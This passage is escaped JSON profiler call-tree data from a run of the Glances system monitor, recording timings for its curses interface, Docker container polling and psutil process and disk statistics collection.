\"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100495,\"attributes\": {\"cGlancesCursesStandalone\": 0.10049512800469529, \"l291\": 0.10049512800469529},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100495,\"attributes\": {\"cGlancesCursesStandalone\": 0.10049512800469529, \"l260\": 0.10049512800469529},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100495,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100495,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100442,\"attributes\": {\"cGlancesCursesStandalone\": 0.10044213299988769, \"l1202\": 0.10044213299988769},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100442,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100442,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000278\",\"time\": 0.117676,\"attributes\": {\"cGlancesStats\": 0.11767570099618752, \"l287\": 0.11767570099618752},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000573\",\"time\": 0.117676,\"attributes\": {\"cGlancesStats\": 0.11767570099618752, \"l575\": 0.11767570099618752},\"children\": [{\"identifier\": \"_func\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000568\",\"time\": 0.117676,\"attributes\": {\"l571\": 0.11767570099618752},\"children\": [{\"identifier\": \"update_plugin\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000271\",\"time\": 0.117676,\"attributes\": {\"cGlancesStats\": 0.11767570099618752, \"l274\": 0.09746738599642413, \"l275\": 0.020208314999763388},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.075568,\"attributes\": {\"cPortsPlugin\": 0.0015990839965525083, \"l1278\": 0.07556798499717843, \"cDiskioPlugin\": 0.004048825998324901, \"cContainersPlugin\": 0.005932504005613737, \"cProcesscountPlugin\": 0.06398757099668728},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.075568,\"attributes\": {\"l1295\": 0.07556798499717843},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/ports/__init__.py\\u0000102\",\"time\": 0.001599,\"attributes\": {\"cPortsPlugin\": 0.0015990839965525083, \"l117\": 0.0015990839965525083},\"children\": [{\"identifier\": \"start\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/threading.py\\u0000974\",\"time\": 0.001599,\"attributes\": {\"cThreadScanner\": 0.0015990839965525083, \"l1004\": 0.0015990839965525083},\"children\": [{\"identifier\": \"start_joinable_thread\\u0000<built-in>\\u00000\",\"time\": 0.001599,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001599,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000108\",\"time\": 0.004049,\"attributes\": {\"cDiskioPlugin\": 0.004048825998324901, \"l114\": 0.004048825998324901},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001349\",\"time\": 0.004049,\"attributes\": {\"cDiskioPlugin\": 0.004048825998324901, \"l1351\": 0.004048825998324901},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000143\",\"time\": 0.004049,\"attributes\": {\"cDiskioPlugin\": 0.004048825998324901, \"l148\": 0.0022936380046303384, \"l154\": 0.0017551879936945625},\"children\": [{\"identifier\": \"disk_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002096\",\"time\": 0.002294,\"attributes\": {\"l2129\": 0.0022936380046303384},\"children\": [{\"identifier\": \"disk_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001028\",\"time\": 0.002294,\"attributes\": {\"l1106\": 0.0022936380046303384},\"children\": [{\"identifier\": \"read_procfs\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001033\",\"time\": 0.002294,\"attributes\": {\"l1050\": 0.0022936380046303384},\"children\": [{\"identifier\": \"TextIOWrapper.__exit__\\u0000<built-in>\\u00000\",\"time\": 0.002294,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002294,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"str.startswith\\u0000<built-in>\\u00000\",\"time\": 0.001755,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001755,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000230\",\"time\": 0.005933,\"attributes\": {\"cContainersPlugin\": 0.005932504005613737, \"l252\": 0.005932504005613737},\"children\": [{\"identifier\": \"<genexpr>\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000253\",\"time\": 0.005933,\"attributes\": {\"l256\": 0.005932504005613737},\"children\": [{\"identifier\": \"get_containers_from_updated_watcher\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000247\",\"time\": 0.005933,\"attributes\": {\"l248\": 0.005932504005613737},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/engines/docker.py\\u0000248\",\"time\": 0.005933,\"attributes\": {\"cDockerExtension\": 0.005932504005613737, \"l260\": 0.005932504005613737},\"children\": [{\"identifier\": \"list\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/models/containers.py\\u0000957\",\"time\": 0.005933,\"attributes\": {\"cContainerCollection\": 0.005932504005613737, \"l1009\": 0.005932504005613737},\"children\": [{\"identifier\": \"containers\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/container.py\\u0000152\",\"time\": 0.005933,\"attributes\": {\"cAPIClient\": 0.005932504005613737, \"l212\": 0.005932504005613737},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/utils/decorators.py\\u000038\",\"time\": 0.005933,\"attributes\": {\"cAPIClient\": 0.005932504005613737, \"l44\": 0.005932504005613737},\"children\": [{\"identifier\": \"_get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/client.py\\u0000244\",\"time\": 0.005933,\"attributes\": {\"cAPIClient\": 0.005932504005613737, \"l246\": 0.005932504005613737},\"children\": [{\"identifier\": \"get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000593\",\"time\": 0.005933,\"attributes\": {\"cAPIClient\": 0.005932504005613737, \"l602\": 0.005932504005613737},\"children\": [{\"identifier\": \"request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000500\",\"time\": 0.005933,\"attributes\": {\"cAPIClient\": 0.005932504005613737, \"l575\": 0.0020139860062045045, \"l589\": 0.003918517999409232},\"children\": [{\"identifier\": \"prepare_request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000457\",\"time\": 0.002014,\"attributes\": {\"cAPIClient\": 0.0020139860062045045, \"l471\": 0.0020139860062045045},\"children\": [{\"identifier\": \"cookiejar_from_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/cookies.py\\u0000521\",\"time\": 0.002014,\"attributes\": {\"l531\": 0.0020139860062045045},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/cookiejar.py\\u00001262\",\"time\": 0.002014,\"attributes\": {\"cRequestsCookieJar\": 0.0020139860062045045, \"l1264\": 0.0020139860062045045},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002014,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000673\",\"time\": 0.003919,\"attributes\": {\"cAPIClient\": 0.003918517999409232, \"l703\": 0.003918517999409232},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/adapters.py\\u0000590\",\"time\": 0.003919,\"attributes\": {\"cUnixHTTPAdapter\": 0.003918517999409232, \"l644\": 0.003918517999409232},\"children\": [{\"identifier\": \"urlopen\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000592\",\"time\": 0.003919,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.003918517999409232, \"l787\": 0.0019161359959980473, \"l930\": 0.002002382003411185},\"children\": [{\"identifier\": \"_make_request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000377\",\"time\": 0.001916,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.0019161359959980473, \"l518\": 0.0019161359959980473},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001916,\"attributes\": {},\"children\": []}]},{\"identifier\": \"is_retry\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/util/retry.py\\u0000403\",\"time\": 0.002002,\"attributes\": {\"cRetry\": 0.002002382003411185, \"l412\": 0.002002382003411185},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/processcount/__init__.py\\u000077\",\"time\": 0.063988,\"attributes\": {\"cProcesscountPlugin\": 0.06398757099668728, \"l85\": 0.06398757099668728},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000591\",\"time\": 0.063988,\"attributes\": {\"cGlancesProcesses\": 0.06398757099668728, \"l617\": 0.05798788099491503, \"l621\": 0.0020004250036436133, \"l653\": 0.0025671760013210587, \"l659\": 0.001432088996807579},\"children\": [{\"identifier\": \"build_process_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000476\",\"time\": 0.057988,\"attributes\": {\"cGlancesProcesses\": 0.05798788099491503, \"l478\": 0.049988481994660106, \"l493\": 0.007999399000254925},\"children\": [{\"identifier\": \"process_iter\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001512\",\"time\": 0.049988,\"attributes\": {\"l1541\": 0.0021633509968523867, \"l1558\": 0.04782513099780772},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001482\",\"time\": 0.002163,\"attributes\": {\"l1485\": 0.0021633509968523867},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001523\",\"time\": 0.002163,\"attributes\": {\"l1526\": 0.0021633509968523867},\"children\": [{\"identifier\": \"listdir\\u0000<built-in>\\u00000\",\"time\": 0.002163,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002163,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.047825,\"attributes\": {\"cProcess\": 0.04782513099780772, \"l572\": 0.0039019940013531595, \"l579\": 0.04392313699645456},\"children\": [{\"identifier\": \"__exit__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000145\",\"time\": 0.001904,\"attributes\": {\"c_GeneratorContextManager\": 0.0019039920007344335, \"l148\": 0.0019039920007344335},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.001904,\"attributes\": {\"cProcess\": 0.0019039920007344335, \"l540\": 0.0019039920007344335},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001904,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__enter__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000136\",\"time\": 0.001998,\"attributes\": {\"c_GeneratorContextManager\": 0.001998002000618726, \"l141\": 0.001998002000618726},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001998002000618726, \"l505\": 0.001998002000618726},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020019980001961812, \"l382\": 0.0020019980001961812},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020019980001961812, \"l1138\": 0.0020019980001961812},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020019980001961812, \"l1593\": 0.0020019980001961812},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020019980001961812, \"l1878\": 0.0020019980001961812},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002002,\"attributes\": {\"l682\": 0.0020019980001961812},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002016,\"attributes\": {\"cProcess\": 0.002016186001128517, \"l680\": 0.002016186001128517},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002016,\"attributes\": {\"cProcess\": 0.002016186001128517, \"l1593\": 0.002016186001128517},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002016,\"attributes\": {\"cProcess\": 0.002016186001128517, \"l1740\": 0.002016186001128517},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002016,\"attributes\": {\"cProcess\": 0.002016186001128517, \"l1593\": 0.002016186001128517},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002016,\"attributes\": {\"cProcess\": 0.002016186001128517, \"l382\": 0.002016186001128517},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002016,\"attributes\": {\"cProcess\": 0.002016186001128517, \"l1683\": 0.002016186001128517},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002016,\"attributes\": {\"l730\": 0.002016186001128517},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002016,\"attributes\": {\"l718\": 0.002016186001128517},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002016,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"gids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000808\",\"time\": 0.003907,\"attributes\": {\"cProcess\": 0.0039069259946700186, \"l812\": 0.0039069259946700186},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001908,\"attributes\": {},\"children\": []},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019988059939350933, \"l1593\": 0.0019988059939350933},\"children\": [{\"identifier\": \"gids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002265\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019988059939350933, \"l2268\": 0.0019988059939350933},\"children\": [{\"identifier\": \"Pattern.findall\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020015110058011487, \"l687\": 0.0020015110058011487},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020015110058011487, \"l748\": 0.0020015110058011487},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020015110058011487, \"l1593\": 0.0020015110058011487},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020015110058011487, \"l1750\": 0.0020015110058011487},\"children\": [{\"identifier\": \"open_text\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000685\",\"time\": 0.002002,\"attributes\": {\"l692\": 0.0020015110058011487},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001996790000703186, \"l1079\": 0.001996790000703186},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001996790000703186, \"l1593\": 0.001996790000703186},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001827\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001996790000703186, \"l1835\": 0.001996790000703186},\"children\": [{\"identifier\": \"<lambda>\\u0000<string>\\u00001\",\"time\": 0.001997,\"attributes\": {\"l1\": 0.001996790000703186},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.003999792999820784, \"l382\": 0.003999792999820784},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.003999792999820784, \"l1138\": 0.003999792999820784},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.003999792999820784, \"l1593\": 0.003999792999820784},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.003999792999820784, \"l1880\": 0.001999434993194882, \"l1878\": 0.002000358006625902},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"BufferedReader.__exit__\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001594999455847, \"l939\": 0.002001594999455847},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001594999455847, \"l1593\": 0.002001594999455847},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001594999455847, \"l2052\": 0.002001594999455847},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001594999455847, \"l1593\": 0.002001594999455847},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001594999455847, \"l382\": 0.002001594999455847},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001594999455847, \"l1718\": 0.002001594999455847},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002002,\"attributes\": {\"l682\": 0.002001594999455847},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001997866995225195, \"l680\": 0.001997866995225195},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001997866995225195, \"l1593\": 0.001997866995225195},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001997866995225195, \"l1740\": 0.001997866995225195},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001997866995225195, \"l1593\": 0.001997866995225195},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001997866995225195, \"l382\": 0.001997866995225195},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001997866995225195, \"l1709\": 0.001997866995225195},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"status\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000750\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019996449991595, \"l753\": 0.0019996449991595},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020014900001115166, \"l382\": 0.0020014900001115166},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020014900001115166, \"l1138\": 0.0020014900001115166},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020014900001115166, \"l1593\": 0.0020014900001115166},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020014900001115166, \"l1880\": 0.0020014900001115166},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"memory_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001156\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999416999751702, \"l1178\": 0.001999416999751702},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020023930046590976, \"l382\": 0.0020023930046590976},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001118\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020023930046590976, \"l1127\": 0.0020023930046590976},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020023930046590976, \"l1593\": 0.0020023930046590976},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001827\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020023930046590976, \"l1835\": 0.0020023930046590976},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.004001,\"attributes\": {\"cProcess\": 0.0040010649972828105, \"l939\": 0.0040010649972828105},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.004001,\"attributes\": {\"cProcess\": 0.0040010649972828105, \"l1593\": 0.0040010649972828105},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.004001,\"attributes\": {\"cProcess\": 0.0040010649972828105, \"l2053\": 0.0019991599983768538, \"l2052\": 0.0020019049989059567},\"children\": [{\"identifier\": \"Pattern.findall\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020019049989059567, \"l1593\": 0.0020019049989059567},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020019049989059567, \"l382\": 